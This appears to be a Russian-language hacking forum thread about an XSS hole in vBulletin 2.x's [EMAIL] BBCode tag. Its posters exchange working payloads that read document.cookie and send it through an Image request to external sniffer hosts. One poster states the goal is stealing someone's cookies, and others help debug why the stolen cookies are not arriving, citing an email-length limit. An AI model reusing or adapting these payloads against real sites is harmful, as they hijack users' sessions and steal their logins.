vBulletin 2.*.* - XSS

[}{0TT@БЬ)Ч]

есть код [E*MAIL]aaa@aaa.aa"'s='[/E*MAIL]' sss="i=new Image(); i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null" style=top:expression(eval(this.sss)); помогите переделать под другой снифер или объясните что тут менять?

Вот под этот
Адрес картинки-сниффера:
http://www.snif.ru/snif/s.gif?id=102

что бы украсть чьи-то cookies, то код должен быть примерно таким:

<script>img=new Image(); img.src="http://www.snif.ru/snif/s.gif?id=102&"+document.cookie;</script>

[InferNo23]

хм..

[E*MAIL]aaa@aaa.aa"'s='[/E*MAIL]' sss="i=new Image(); i.src="http://www.snif.ru/snif/s.gif?id=102&"+document.cookie;this.sss=null" style=top:expression(eval(this.sss));

[}{0TT@БЬ)Ч]

в том то и дело что так я уже пробовал и ни че не пришло на снифер но на ачатовский приходит походу дело в снифере может кто скажет в чем может быть разница?

[genom--]

если мне память не изменяет то эта xss уже описывалась давно -- там стоит ограничение на строку с мылом в 60 символов --- поэтому твой скрипт обрезает

[}{0TT@БЬ)Ч]

форум то скрипт нормально проглатывает, чето я не понял на ачатовский снифак же куки приходят.